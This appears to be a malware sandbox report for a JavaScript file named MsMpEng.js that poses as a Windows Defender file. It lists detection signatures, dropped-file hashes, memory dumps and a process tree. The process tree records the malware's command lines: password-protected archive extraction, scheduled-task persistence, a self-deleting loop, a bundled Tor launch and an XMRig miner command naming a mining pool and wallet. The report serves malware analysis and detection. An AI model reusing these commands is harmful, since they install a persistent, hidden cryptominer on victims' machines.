Overview

overview

10

Static

static

10

14052163e5...43.exe

windows7-x64

10

14052163e5...43.exe

windows10-1703-x64

10

14052163e5...43.exe

windows10-2004-x64

10

14052163e5...43.exe

windows11-21h2-x64

10

Antimalwar...ble.js

windows7-x64

8

Antimalwar...ble.js

windows10-1703-x64

8

Antimalwar...ble.js

windows10-2004-x64

8

Antimalwar...ble.js

windows11-21h2-x64

8

EmbraTor M...et.exe

windows7-x64

1

EmbraTor M...et.exe

windows10-1703-x64

1

EmbraTor M...et.exe

windows10-2004-x64

1

EmbraTor M...et.exe

windows11-21h2-x64

1

Java Install.jar

windows7-x64

1

Java Install.jar

windows10-1703-x64

7

Java Install.jar

windows10-2004-x64

7

Java Install.jar

windows11-21h2-x64

7

MsMpEng.js

windows7-x64

10

MsMpEng.js

windows10-1703-x64

9

MsMpEng.js

windows10-2004-x64

10

MsMpEng.js

windows11-21h2-x64

10

Windows Dr...on.vbs

windows7-x64

10

Windows Dr...on.vbs

windows10-1703-x64

10

Windows Dr...on.vbs

windows10-2004-x64

10

Windows Dr...on.vbs

windows11-21h2-x64

10

Analysis

  • max time kernel
    1155s
  • max time network
    1220s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 13:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    MsMpEng.js
  • Size 24.2MB
  • Sample240409-qvk6aabe81
  • SHA256 b27dd5407a22c8df93090fbc1a3eb93c6461f4a279cfabd87b4b21e246bda458
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xmrigevasionminer

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • XMRig Miner payload 2 IoCs
    miner
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 12 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 31 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 7 IoCs
  • AutoIT Executable 5 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\MsMpEng.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3996
    • C:\Users\Admin\AppData\Local\Temp\x.exe
      "C:\Users\Admin\AppData\Local\Temp\x.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:5044
      • C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
        C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1100
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4024
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
          4⤵
          • Creates scheduled task(s)
          PID:5116
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\x.exe"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\x.exe" exit)
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 0
          4⤵
          • Delays execution with timeout.exe
          PID:2220
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 0
          4⤵
          • Delays execution with timeout.exe
          PID:2356
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3976 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:3224
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2644
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • NTFS ADS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4524
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:5032
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1972
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4356
        • C:\Windows\System32\attrib.exe
          -a RandomX -o stratum+tcp://xmr.2miners.com:2222 -u 8BayjhYeujm9whuyNMsrd46tWdEd4JfAPfq6nXn1S4zrLzB9dduLbPuFPb3M2ZRFtfa6Zugfv5643AuBbmP8PDHaS3hQDdi.fhaw -p x -t 6
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Views/modifies file attributes
          PID:5084
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4400
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3404
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:712
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:964
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4648
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3288
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4112
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4116
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2520
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5052
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3752 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:1040
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2276
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1780
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2296
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:500
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
          2⤵
          • Executes dropped EXE
          PID:2404
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3504
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1500
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
          2⤵
          • Executes dropped EXE
          PID:1444
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Executes dropped EXE
        PID:5036
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Executes dropped EXE
        PID:3424
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        PID:1488
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
          2⤵
            PID:4024
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
          1⤵
          • Executes dropped EXE
          PID:552
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
          1⤵
          • Executes dropped EXE
          PID:3096
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
          1⤵
            PID:4716

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                32.exe
                • Path C:\Users\Admin\AppData\Local\Temp\32.exe
                • Size 7.4MB
                • SHA256 6cd0a0976cff64c5287c166b73e5c877f026274f85599344756c47e9aa756bcb
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                64.exe
                • Path C:\Users\Admin\AppData\Local\Temp\64.exe
                • Size 8.4MB
                • SHA256 390126ab71cd12f414f4200cc246d5283c534ab216794ce9980048779960ea68
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                CL_Debug_Log.txt
                • Path C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
                • Size 722KB
                • SHA256 ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                CR_Debug_Log.txt
                • Path C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt
                • Size 14.6MB
                • SHA256 0afc8b7c47f48ef991535d435d48411ea12c4b98f14253a27b15ec6d7f020620
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                SystemCheck.xml
                • Path C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml
                • Size 2KB
                • SHA256 0fe356f3d04bb43f772604b049fd2b20f3038ca2ce84bf9778b8ccdd481d77ab
                • MD5 SHA1 SHA512
                Submit Download

                aut113C.tmp
                • Path C:\Users\Admin\AppData\Local\Temp\aut113C.tmp
                • Size 14.6MB
                • SHA256 12afa4813940c6985259f487d5e2892550596a60c6c77f806aefa2c254c74bb4
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                x.exe
                • Path C:\Users\Admin\AppData\Local\Temp\x.exe
                • Size 18.1MB
                • SHA256 41686ad9f581037f44b72b37f8bee562512854fc6807c5a13ea1646cdeab61c8
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                SysBackup.tmp
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
                • Size 2.6MB
                • SHA256 03b7f47481eaf1f2c942f4a41a3a6411e22493c2d5b25ab1cab38ffe11cccb76
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                SysBackup.tmp
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
                • Size 12KB
                • SHA256 dde0c98c15482ddcea2314ba510f7a53bc3c31a698f8dc4d3fb2474b1bebc1de
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                SysBackup.txt
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.txt
                • Size 15.8MB
                • SHA256 188b7e3f0135cf683c393ab88930e93f29d4a0c31c08841237afaf543ecb2e12
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                Tor.tmp
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp
                • Size 2.5MB
                • SHA256 9a78c80e93bd1ed3d71eb090465e39a69470cd1812fc5e169d8b412e8c665963
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                cached-certs
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-certs
                • Size 20KB
                • SHA256 d5cdd23c3ed08241b299d5eac391a112dc27f05e242f3157f95a9ef8d596d5a6
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                cached-microdesc-consensus.tmp
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdesc-consensus.tmp
                • Size 2.6MB
                • SHA256 56d314bf70a9bb7ea42a57154fa76edc7ed1f67f222b6808d40c740076e96e94
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                cached-microdescs.new
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
                • Size 7.7MB
                • SHA256 e1a423a4e79b901a20c7c6daa262a52c1a26fa4fc7623abbf42196682e39c042
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                cached-microdescs.new
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
                • Size 20.4MB
                • SHA256 1eabf1b6dd21ef1a0a9aa00d4407f54fa0cac074e8d442c63cc15ee8d11a4b80
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                state
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\state
                • Size 4KB
                • SHA256 aabf4a8f6d0ad03ea966cb67a67fb90e06309da26d6f598cf641605bfb5596e5
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                Tor.pid
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\Tor.pid
                • Size 6B
                • SHA256 6603cc31cf5d4b7c28d58696cdf28a72fdf85cc8417e37a0ceb19a83fe29be77
                • MD5 SHA1 SHA512
                Submit Download

                TorConfig
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\TorConfig
                • Size 201B
                • SHA256 69d57bfb46ef8097c1cfca65885790421d0e0965b7778f165cd7df9368807776
                • MD5 SHA1 SHA512
                Submit Download

                libcrypto-1_1-x64.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libcrypto-1_1-x64.dll
                • Size 3.4MB
                • SHA256 af682ad107cf0e9d9f11adeaf88f817610988b56577c4020897debc0f98e26ff
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                libevent-2-1-7.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent-2-1-7.dll
                • Size 974KB
                • SHA256 98d06628e3d9c8097d239722e83ad78eb0b41b1e2f54d50a500da6d9292ff747
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                libevent_core-2-1-7.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_core-2-1-7.dll
                • Size 646KB
                • SHA256 d6a7d46f6fc803b50460d03c0bc14f2f128ee2becabcf1713715bcebf13ee75b
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                libevent_extra-2-1-7.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_extra-2-1-7.dll
                • Size 657KB
                • SHA256 ec52e90c68dd0e7603df3f9fe6c909d019a7e94dc3ce0efd8baf67864a43b74b
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                libgcc_s_seh-1.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libgcc_s_seh-1.dll
                • Size 1.1MB
                • SHA256 b94b8981f8110944c5b03c9cba4066e9d0daa13687dead387bcbc772132c6d24
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                libssl-1_1-x64.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssl-1_1-x64.dll
                • Size 965KB
                • SHA256 38200438cf0c9c20d17e5b9030d2ad2e4a1b6b9dc41c287bc603dd50d22e67bb
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                libssp-0.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssp-0.dll
                • Size 313KB
                • SHA256 c6dca12e0e896df5f9b2db7a502a50d80d4fb014d7ec2f2ceb897b1a81f46ead
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                libwinpthread-1.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libwinpthread-1.dll
                • Size 608KB
                • SHA256 27b857131977106c4a71ce626225d52a3d6e2932cb6243cb83e47b8d592d0d4f
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                tor.exe
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
                • Size 4.3MB
                • SHA256 7052619814a614a1b157c5c94a92dbec22b425a0977ac8b21958b8db81e2dd65
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                zlib1.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\zlib1.dll
                • Size 107KB
                • SHA256 da9185e45fdcbee17fcd9292979b20f32aa4c82bc2cb356b4c7278029e247557
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                memory/1972-105-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-153-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-101-0x0000000055B40000-0x0000000055BD8000-memory.dmp
                Download

                memory/1972-102-0x0000000055850000-0x0000000055B3D000-memory.dmp
                Download

                memory/1972-103-0x0000000055770000-0x0000000055843000-memory.dmp
                Download

                memory/1972-104-0x0000000055740000-0x0000000055763000-memory.dmp
                Download

                memory/1972-99-0x0000000055C40000-0x0000000055D23000-memory.dmp
                Download

                memory/1972-98-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-123-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-130-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-141-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-100-0x0000000055BE0000-0x0000000055C34000-memory.dmp
                Download

                memory/1972-160-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-177-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/1972-170-0x00000000007D0000-0x0000000000C31000-memory.dmp
                Download

                memory/4356-3202-0x00000173E0250000-0x00000173E0373000-memory.dmp
                Download

                memory/4356-3207-0x00000173E0250000-0x00000173E0373000-memory.dmp
                Download

                memory/5032-77-0x0000019FEFBA0000-0x0000019FEFCC3000-memory.dmp
                Download

                memory/5032-56-0x0000019FEFBA0000-0x0000019FEFCC3000-memory.dmp
                Download

                memory/5032-54-0x0000019FEFBA0000-0x0000019FEFCC3000-memory.dmp
                Download

                memory/5032-51-0x0000019FEFBA0000-0x0000019FEFCC3000-memory.dmp
                Download

                memory/5044-46-0x0000000000EE0000-0x0000000002106000-memory.dmp
                Download

                memory/5044-41-0x000000000AB50000-0x000000000AB51000-memory.dmp
                Download

                memory/5044-39-0x000000000A7D0000-0x000000000A7D1000-memory.dmp
                Download

                memory/5044-40-0x000000000AB30000-0x000000000AB31000-memory.dmp
                Download

                memory/5044-16-0x0000000000EE0000-0x0000000002106000-memory.dmp
                Download

                memory/5044-12-0x0000000000EE0000-0x0000000002106000-memory.dmp
                Download

                memory/5044-11-0x0000000000EE0000-0x0000000002106000-memory.dmp
                Download

                memory/5044-10-0x0000000000EE0000-0x0000000002106000-memory.dmp
                Download

                memory/5084-3229-0x000002F6B8790000-0x000002F6B92A1000-memory.dmp
                Download

                memory/5084-3231-0x000002F6BAE30000-0x000002F6BAE50000-memory.dmp
                Download

                memory/5084-3233-0x000002F6BAE70000-0x000002F6BAE90000-memory.dmp
                Download

                memory/5084-3232-0x000002F6BAE50000-0x000002F6BAE70000-memory.dmp
                Download

                memory/5084-3234-0x000002F6BAEB0000-0x000002F6BAED0000-memory.dmp
                Download

                memory/5084-3235-0x000002F6BAED0000-0x000002F6BAEF0000-memory.dmp
                Download

                memory/5084-3237-0x000002F6BAEF0000-0x000002F6BAF10000-memory.dmp
                Download

                memory/5084-3236-0x000002F6BAE90000-0x000002F6BAEB0000-memory.dmp
                Download

                memory/5084-3240-0x000002F6B8790000-0x000002F6B92A1000-memory.dmp
                Download

                memory/5084-3243-0x000002F6BAEB0000-0x000002F6BAED0000-memory.dmp
                Download

                memory/5084-3244-0x000002F6BAE50000-0x000002F6BAE70000-memory.dmp
                Download

                memory/5084-3245-0x000002F6BAE70000-0x000002F6BAE90000-memory.dmp
                Download

                memory/5084-3246-0x000002F6BAED0000-0x000002F6BAEF0000-memory.dmp
                Download

                memory/5084-3249-0x000002F6BAEF0000-0x000002F6BAF10000-memory.dmp
                Download

                memory/5084-3248-0x000002F6BAE90000-0x000002F6BAEB0000-memory.dmp
                Download